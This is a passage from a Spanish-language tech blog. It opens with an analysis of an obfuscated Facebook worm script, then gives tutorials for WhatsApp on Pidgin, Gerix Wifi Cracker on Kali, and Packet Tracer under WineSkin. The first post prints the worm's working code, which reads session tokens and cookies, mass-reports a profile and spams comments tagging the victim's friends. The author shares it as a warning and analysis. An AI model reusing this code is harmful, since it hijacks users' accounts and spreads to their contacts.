"\x26\x5F\x5F\x61\x3D\x31\x26\x5F\x5F\x64\x79\x6E\x3D\x37\x6E\x38\x61\x68\x79\x6A\x32\x71\x6D\x76\x75\x35\x6B\x39\x55\x6D\x41\x41\x61\x55\x56\x70\x6F\x26\x5F\x5F\x72\x65\x71\x3D\x75\x26\x74\x74\x73\x74\x61\x6D\x70\x3D\x32\x36\x35\x38\x31\x36\x38\x35\x37\x31\x30\x37\x31\x31\x30\x38\x38\x38\x30", "\x50\x4F\x53\x54", "\x6F\x70\x65\x6E", "\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65", "\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65", "\x73\x74\x61\x74\x75\x73", "\x63\x6C\x6F\x73\x65", "\x73\x65\x6E\x64", "\x31\x30\x30\x30\x30\x36\x39\x35\x32\x31\x31\x39\x30\x34\x38"];

Código desofuscado

var _0xb161 = ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "getTime", "//www.facebook.com/ajax/report/social.php", "fb_dtsg=", "&block=1&pp=%7B%22actions_to_take%22%3A%22[]%22%2C%22are_friends%22%3Afalse%2C%22cid%22%3A", "%2C%22content_type%22%3A0%2C%22expand_report%22%3A1%2C%22first_choice%22%3A%22file_report%22%2C%22from_gear%22%3A%22timeline%22%2C%22is_following%22%3Afalse%2C%22is_tagged%22%3Afalse%2C%22on_profile%22%3Afalse%2C%22phase%22%3A3%2C%22ref%22%3A%22https%3A%5C%2F%5C%2Fwww.facebook.com%5C%2FNan.ertt7%22%2C%22report_type%22%3A145%2C%22rid%22%3A", "%2C%22sub_report_type%22%3A3%2C%22time_flow_started%22%3A", "%2C%22user%22%3A", "%7D&file_report=1&__user=", "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "100006952119048"];var fb_dtsg = document[_0xb161[2]](_0xb161[1])[0][_0xb161[0]];var user_id = document[_0xb161[4]][_0xb161[3]](document[_0xb161[4]][_0xb161[3]](/c_user=(\d+)/)[1]);var now = (new Date)[_0xb161[5]]();function Report(_0x45e7x5) { var _0x45e7x6 = new XMLHttpRequest(); var _0x45e7x7 = _0xb161[6]; var _0x45e7x8 = _0xb161[7] + fb_dtsg + _0xb161[8] + _0x45e7x5 + _0xb161[9] + _0x45e7x5 + _0xb161[10] + now + _0xb161[11] + user_id + _0xb161[12] + user_id + _0xb161[13]; _0x45e7x6[_0xb161[15]](_0xb161[14], _0x45e7x7, true); _0x45e7x6[_0xb161[16]] = function() { if (_0x45e7x6[_0xb161[17]] == 4 && _0x45e7x6[_0xb161[18]] == 200) { _0x45e7x6[_0xb161[19]]; }; }; _0x45e7x6[_0xb161[20]](_0x45e7x8);};var _0xa22c = ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "1435336293368456", "onreadystatechange", "readyState", "arkadaslar = ", "for (;;);", "", "replace", "responseText", ";", "length", "entries", "payload", "round", " @[", "uid", ":", "text", "]", " ", "&filter[0]=user", "&options[0]=friends_only", "&options[1]=nm", "&token=v7", "&viewer=", "&__user=", "https://", "indexOf", "URL", "GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "open", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "send", "random", "floor", "&ft_ent_identifier=", "&comment_text=", "&source=2", "&client_id=1377871797138:1707018092", "&reply_fbid", "&parent_comment_id", "&rootid=u_jsonp_2_3", "&clp={"cl_impid":"453524a0","clearcounter":0,"elementid":"js_5","version":"x","parent_fbid":", "}", "&attached_sticker_fbid=0", "&attached_photo_fbid=0", "&giftoccasion", "&ft[tn]=[]", "&__a=1", "&__dyn=7n8ahyj35ynxl2u5F97KepEsyo", "&__req=q", "&fb_dtsg=", "&ttstamp=", "POST", "/ajax/ufi/add_comment.php", "Content-type", "application/x-www-form-urlencoded", "setRequestHeader", "status", "close"];var fb_dtsg = document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id = document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id = _0xa22c[5];var arkadaslar = [];var svn_rev;function arkadaslari_al(id) { var _0x7892x7 = new XMLHttpRequest(); _0x7892x7[_0xa22c[6]] = function() { if (_0x7892x7[_0xa22c[7]] == 4) { eval(_0xa22c[8] + _0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9], _0xa22c[10]) + _0xa22c[13]); for (f = 0; f < Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]] / 27); f++) { mesaj = _0xa22c[10]; mesaj_text = _0xa22c[10]; for (i = f * 27; i < (f + 1) * 27; i++) { if (arkadaslar[_0xa22c[16]][_0xa22c[15]][i]) { mesaj += _0xa22c[18] + arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]] + _0xa22c[20] + arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]] + _0xa22c[22]; mesaj_text += _0xa22c[23] + arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]; }; }; yorum_yap(id, mesaj); }; }; }; var _0x7892x8 = _0xa22c[24]; _0x7892x8 += _0xa22c[25]; _0x7892x8 += _0xa22c[26]; _0x7892x8 += _0xa22c[27]; _0x7892x8 += _0xa22c[28] + user_id; _0x7892x8 += _0xa22c[29] + user_id; if (document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30]) >= 0) { _0x7892x7[_0xa22c[35]](_0xa22c[33], _0xa22c[34] + _0x7892x8, true); } else { _0x7892x7[_0xa22c[35]](_0xa22c[33], _0xa22c[36] + _0x7892x8, true); }; _0x7892x7[_0xa22c[37]]();};function RandomArkadas() { var _0x7892xa = _0xa22c[10]; for (i = 0; i < 9; i++) { _0x7892xa += _0xa22c[18] + arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]() * arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]] + _0xa22c[20] + arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]() * arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]] + _0xa22c[22]; }; return _0x7892xa;};function yorum_yap(id, _0x7892xc) { var _0x7892xd = new XMLHttpRequest(); var _0x7892x8 = _0xa22c[10]; _0x7892x8 += _0xa22c[40] + id; _0x7892x8 += _0xa22c[41] + encodeURIComponent(_0x7892xc); _0x7892x8 += _0xa22c[42]; _0x7892x8 += _0xa22c[43]; _0x7892x8 += _0xa22c[44]; _0x7892x8 += _0xa22c[45]; _0x7892x8 += _0xa22c[46]; _0x7892x8 += _0xa22c[47] + id + _0xa22c[48]; _0x7892x8 += _0xa22c[49]; _0x7892x8 += _0xa22c[50]; _0x7892x8 += _0xa22c[51]; _0x7892x8 += _0xa22c[52]; _0x7892x8 += _0xa22c[29] + user_id; _0x7892x8 += _0xa22c[53]; _0x7892x8 += _0xa22c[54]; _0x7892x8 += _0xa22c[55]; _0x7892x8 += _0xa22c[56] + fb_dtsg; _0x7892x8 += _0xa22c[57]; _0x7892xd[_0xa22c[35]](_0xa22c[58], _0xa22c[59], true); _0x7892xd[_0xa22c[62]](_0xa22c[60], _0xa22c[61]); _0x7892xd[_0xa22c[6]] = function() { if (_0x7892xd[_0xa22c[7]] == 4 && _0x7892xd[_0xa22c[63]] == 200) { _0x7892xd[_0xa22c[64]]; }; }; _0x7892xd[_0xa22c[37]](_0x7892x8);};arkadaslari_al(id);

Para desofucarlo use http://ddecode.com/hexdecoder/?results=9285c305b1edeb3fd3065cc304313a32.

Es obvio que es trabajo de alguien que conoce el API de facebook. Por el momento es lo que he podido ver en este script, me pareció muy interesante. Estoy abierto a sugerencias y observaciones. Raza no den click en cualquier parte y no copien y peguen cualquier cosa. No se dejen engañar, Saludos.

Actualización: 04/02/2014

Platicando un profesor de mi universidad, encontramos que existen más versiones de este mismo Script y que básicamente hacen lo mismo. Llegando a casa escribiré más acerca de esto.

Usar WhatsApp en Mac OSX con Pidgin

Hace poco encontré varios post sobre como implementar un plugin para Pidgin y poder utilizar Whatsapp, pero no encontré sobre como hacer para la instalación Mac así que me di a la tarea de replicar los pasos que los otros post y hacerlo en Mac, la verdad no varía mucho. Todo fue probado en Mac 10.9.1 Espero que este post les sea util.

Primero que nada debemos instalar brew en mac y lo hacemos con el siguiente comando en la Terminal:

ruby -e “$(curl -fsSL https://raw.github.com/mxcl/homebrew/go/install)”

Después instalamos Pidgin con brew (tarda un poco :D )

brew install pidgin

Ya que Mac OX 10.9 no tiene soporte nativo para X11 instalaremos XQuartz del siguiente link:

http://xquartz.macosforge.org/landing/

Es necesario contar con los paquetes python-dateutil y python-argparse, los podemos descargar de los siguientes links:

http://argparse.googlecode.com/files/argparse-1.2.1.tar.gz

https://pypi.python.org/packages/source/p/python-dateutil/python-dateutil-2.2.tar.gz#md5=c1f654d0ff7e33999380a8ba9783fd5c

Descomprimir los archivos descargados

tar -xzvf argparse-1.2.1.tar.gz

tar -xzvf python-dateutil-2.2.tar.gz

En tramos a cada uno de los directorios que se crearon e instalamos los paquetes de la siguiente manera:

cd argpasr-1.2.1

sudo python setup.py install

cd pyhton-dateutil-2.2

sudo python setup.py install

Es necesario clonar los siguientes repositorio de github:

git clone https://github.com/tgalal/yowsup.git

git clone https://github.com/davidgfnet/whatsapp-purple

Al terminar la descarga tendremos dos nuevos directorios, entramos al whatsapp-purple, compilamos el plugin para pidgin y copiamos el plugin al directorio de los plugins de Pidgin:

cd whatsapp-purple

make

cp -rf libwhatsapp.so  /usr/local/Cellar/pidgin/2.10.7/lib/pidgin

Ahora entramos al directorio de yowsup y le asignamos permisos de ejecución

cd /yowsup/src

chmod +x yowsup-cli

En ese mismo directorio crearemos un archivo de configuración para realizar el registro de nuestros datos:

nano whatsapp-config.txt

Deberá contener la siguiente información

Configuración de Whatsapp-congif.txt

Donde cc es el código de tu país,  phone es el código de país más tu numero de celular (en el caso de ser número de México es necesario poner el número 1 después del código de país como en la imagen, OJO solo México ), id es el IMEI de tu dispositivo o la dirección MAC de wireless del Iphone y el campo password lo dejamos en blanco ya que no estamos registrados aun.

Solicitaremos el código de activación por medio de un SMS con ayuda de yowsup-cli:

cd yowsup/src/

sudo python ./yowsup-cli -c whatsapp_config.txt –requestcode sms

En caso de no llegar el mensaje lo podemos intentar con el siguiente link:

https://coderus.openrepos.net/whitesoft/whatsapp_sms

Solicitar código Whatsapp

Cuando recibamos el código ejecutamos el siguiente comando

sudo python ./yowsup-cli -c whatsapp_config.txt –register XXX-XXX

Sustituyendo las XXX por el código, es necesario poner el guión “-”. El resultado del comando será lo siguiente

Resultado

En la respuesta observamos el campo pw: es cual es el password con el que daremos de alta nuestra cuenta en Pidgin.

Ahora ejecutamos Pidgin desde una Terminal, y agregamos una cuenta nueva

Añadiendo cuenta en Pidgin

Cuenta

Seleccionamos el protocolo Whatsapp, en el campo Nombre de usuario escribimos nuestro número de mobil incluyendo el código de país ( ejemplo 5219933998810) y en password es el campo pw: que obtuvimos anteriormente.

Es necesario que agreguemos a nuestros contactos de forma manual en Pidgin

Añadiendo contactos

En donde el Nombre de usuario es el número de Díez dígitos de nuestro contacto más la clave del país (ejemplo número México 5210000000000) y en el Apodo podremos poner el nombre real del contacto.

Y a disfrutar de Whatsapp desde Pidgin en Mac OSX :D

Saludos.

Instalar Gerix Wifi Cracker en Kali Linux

Pocos meses atrás me sumergí en Kali Linux (Sucesor de Backtrack) la cual esta basado en Debian diseñada para auditoría, seguridad informatica, pruebas de penetración y demás cosas Mágicas.

Kali Linux + MATE

Como es de esperarse Kali cuenta con un amplio surtido de herramientas para auditoria Wireless y es ahí donde respingue un poco al no encontrar una herramienta que lo personal para mi es bastante cómoda, Gerix Wifi Cracker. Me di a la tarea de investigar un poco la ausencia de esta herramienta y fue por que Gerix fue compilado librerias QT3 y Kali utiliza QT4.

Pero gracias a Skin36 ( http://bit.ly/17VUF0c ) podemos descargar una versión de Gerix funcional con QT4.

Descargar

1. wget https://bitbucket.org/Skin36/gerix-wifi-cracker-pyqt4/downloads/gerix-wifi-cracker-master.rar

Descomprimir

2. unrar x gerix-wifi-cracker-master.rar

3. cd gerix-wifi-cracker-master

Y Correrlo

4. python ./gerix.py

Gerix Wifi Cracker en Kali LinuxY taran !

El motivo de publicar esta entrada nueva es para tener una opción en español sobre este tema. Los siguientes post serán temas que no me gustaría olvidar y deseo compartirlos por este medio.

Saludos.

Como empaquetar Packet Tracer 6.0.1 .exe a una app nativa en Mac OS X

Lo prometido es deuda, es este post comparto con ustedes un tutorial sobre como empaquetar Packet Tracer.exe (posbileme cualquier otro exe) a una .app nativa para Mac OS X con WinkeSkin.

Pueden descargar el Packet Tracer 6.0.1 para windows y WineSkin desde aquí.

Descargar Packet Tacer 6.0.1

Descargar WineSkin

Después de descargar e instalar WineSkin es necesario descargar ciertos Engines y Wrappers que nos permitirán ejecutar librerías de windows en mac y el empaquetado propio.

Los Engines que deben de instalar son:

WS9Wine1.5.27

WS9Wine1.5.2AMDSpeedHack

El Wrapper que utilizaremos es:

WineSkin-2.5.12

Para los siguientes pasos pueden seguir este video tutorial hecho por Mi :D

Cualquier duda u observación estoy abierto a comentarios. Saludos.

Actualización:

Se me olvido comentar que Mac OSX 10.8.x no tiene soporte para X11 es por eso que debe instalar:

XQuartz http://bit.ly/16491Ze.

Saludos.

Actualización:

21/04/2014, He modificado el archivo .app y lo he probado en Mavericks y se ejecuta con éxito, les dejo el link más abajo.

https://mega.co.nz/#!j8xDQI5K!rIVvDmwy3CdaJ0ESd4txVZ7U1SWDYRfxLYDo0JbdEbk